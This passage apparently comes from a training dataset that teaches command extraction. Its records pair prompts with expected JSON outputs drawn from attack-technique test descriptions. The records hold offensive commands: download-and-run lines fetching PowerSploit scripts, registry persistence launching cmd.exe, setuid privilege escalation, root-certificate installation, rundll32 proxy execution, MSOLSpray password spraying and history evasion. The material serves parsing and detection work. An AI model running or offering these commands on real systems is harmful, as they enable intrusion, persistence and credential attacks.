\"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This process configures registry entries for a new AT and starts it with the command: reg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs\\malware_test\" /f\nreg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs\\malware_test\" /v TerminateOnDesktopSwitch /t REG_DWORD /d 0 /f\nreg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs\\malware_test\" /v StartEXE /t REG_SZ /d C:\\WINDOWS\\system32\\cmd.exe /f\natbroker /start malware_test",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Accessibility\\\\ATs\\\\malware_test\\\" /f\\nreg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Accessibility\\\\ATs\\\\malware_test\\\" /v TerminateOnDesktopSwitch /t REG_DWORD /d 0 /f\\nreg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Accessibility\\\\ATs\\\\malware_test\\\" /v StartEXE /t REG_SZ /d C:\\\\WINDOWS\\\\system32\\\\cmd.exe /f\\natbroker /start malware_test\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For granting a binary the ability to set UID to 0 without root ownership, run the following: cp #{payload} /tmp/cap.c\nmake /tmp/cap\nsudo setcap cap_setuid=ep /tmp/cap\n/tmp/cap\n",
    "output": "{\"command_list\": [\"cp #{payload} /tmp/cap.c\\nmake /tmp/cap\\nsudo setcap cap_setuid=ep /tmp/cap\\n/tmp/cap\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create a root CA using openssl, run the following command: sudo security add-trusted-cert -d -r trustRoot -k \"/Library/Keychains/System.keychain\" \"#{cert_filename}\"\n",
    "output": "{\"command_list\": [\"sudo security add-trusted-cert -d -r trustRoot -k \\\"/Library/Keychains/System.keychain\\\" \\\"#{cert_filename}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The LaunchApplication function in pcwutl.dll can be invoked with this command to proxy execution: rundll32.exe pcwutl.dll,LaunchApplication #{exe_to_launch}",
    "output": "{\"command_list\": [\"rundll32.exe pcwutl.dll,LaunchApplication #{exe_to_launch}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The security settings of the Volume Shadow Copy Service can be modified with the command: sc sdset VSS D:(D;;GA;;;NU)(D;;GA;;;WD)(D;;GA;;;AN)S:(AU;FA;GA;;;WD)(AU;OIIOFA;GA;;;WD), effectively denying certain permissions to Network Users, Everyone, and Anonymous while allowing specific access in the System ACL.",
    "output": "{\"command_list\": [\"sc sdset VSS D:(D;;GA;;;NU)(D;;GA;;;WD)(D;;GA;;;AN)S:(AU;FA;GA;;;WD)(AU;OIIOFA;GA;;;WD)\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For brute forcing Microsoft Online accounts using a single password, run the following PowerShell commands:\nimport-module \"PathToAtomicsFolder\\..\\ExternalPayloads\\MSOLSpray.ps1\"\nInvoke-MSOLSpray -UserList \"#{user_list}\" -Password \"#{password}\"\n",
    "output": "{\"command_list\": [\"import-module \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\MSOLSpray.ps1\\\"\\nInvoke-MSOLSpray -UserList \\\"#{user_list}\\\" -Password \\\"#{password}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test checks the current HISTFILE value, sets it to /dev/null, and confirms the change with the command:\necho $HISTFILE\nexport HISTFILE=\"/dev/null\"\nif [ $(echo $HISTFILE) == \"/dev/null\" ]; then echo \"\\$HISTFILE is /dev/null\"; fi",
    "output": "{\"command_list\": [\"echo $HISTFILE\\nexport HISTFILE=\\\"/dev/null\\\"\\nif [ $(echo $HISTFILE) == \\\"/dev/null\\\" ]; then echo \\\"\\\\$HISTFILE is /dev/null\\\"; fi\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following command utilizes PowerView's Get-ForestTrust function to scan and display information about forest trusts in the target domain: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Get-ForestTrust -Verbose",
